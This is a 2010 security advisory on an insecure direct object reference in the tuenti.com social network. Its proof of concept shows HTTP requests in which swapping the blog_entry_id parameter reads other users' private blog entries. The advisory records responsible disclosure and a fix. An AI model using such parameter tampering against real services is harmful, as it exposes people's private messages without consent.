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[ISecAuditors Security Advisories] Insecure Direct Object Reference in tuenti.com allow to read of any message user



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INTERNET SECURITY AUDITORS ALERT 2010-008
- Original release date: August 30th, 2010
- Last revised: September 21st, 2010
- Discovered by: Vicente Aguilera Diaz
- Severity: 4/10 (CVSSv2 Base Scored)
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I. VULNERABILITY
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Insecure Direct Object Reference in tuenti.com allow to read of any
message user

II. BACKGROUND
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Tuenti.com is a private social platform, which is accessed by
invitation only. Every day millions of people use it to communicate
with each other and share information.

III. DESCRIPTION
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Has been detected a insecure direct object reference vulnerability in
Tuenti.com, that allows the reading of any blog entry of any user,
thus accessing to private messages of Tuenti.com users.

The "blog_entry_id" parameter directly refer to a blog entry, so if a
user change the value of this parameter can access to arbitrary blog
entries.

IV. PROOF OF CONCEPT
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=== Original request:
POST
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none
HTTP/1.1
Host: wwwb21.tuenti.com
...

blog_entry_id=<blog_entry_id>&csfr=<token>

where:
- <user_id> = id of the authenticated user
- <blog_entry_id> = id of the blog entry requested by the
authenticated user
- <token> = an arbitrary value, to protect against csrf attacks

=== Malicious request:
POST
/?m=Profile&func=get_raw_blog_entry&user_id=<user_id>&ajax=1&store=0&ajax_target=none
HTTP/1.1
Host: wwwb21.tuenti.com
...

blog_entry_id=<another_blog_entry_id>&csfr=<token>

where:
- <user_id> = id of the authenticated user
- <another_blog_entry_id> = id of an arbitrary blog entry, posted by
any tuenti user
- <token> = an arbitrary value, to protect against csrf attacks

V. BUSINESS IMPACT
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An attacker can read arbitrary blog entries of any tuenti.com user.
This can leverage to access private/sensitive information of
tuenti.com users.

VI. SYSTEMS AFFECTED
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Tuenti.com Social network.

VII. SOLUTION
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Tuenti already corrected this issue.

VIII. REFERENCES
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http://www.tuenti.com
http://www.isecauditors.com

IX. CREDITS
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This vulnerability has been discovered
by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

X. REVISION HISTORY
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August	   30, 2010: Initial release.
September  21, 2010: Last revision.

XI. DISCLOSURE TIMELINE
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August    21, 2010: Discovered by Internet Security Auditors
August    31, 2010: Tuenti first contact. No response.
September  2, 2010: Second contact trough other social network.
                    Response from Sec. Team.
September  3, 2010: Advisory sent to Sec. Team.
September  8, 2010: Tuenti confirm the issue was identified due our
                    tests and corrected immediately.
September 21, 2010: Published for education purposes.

XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

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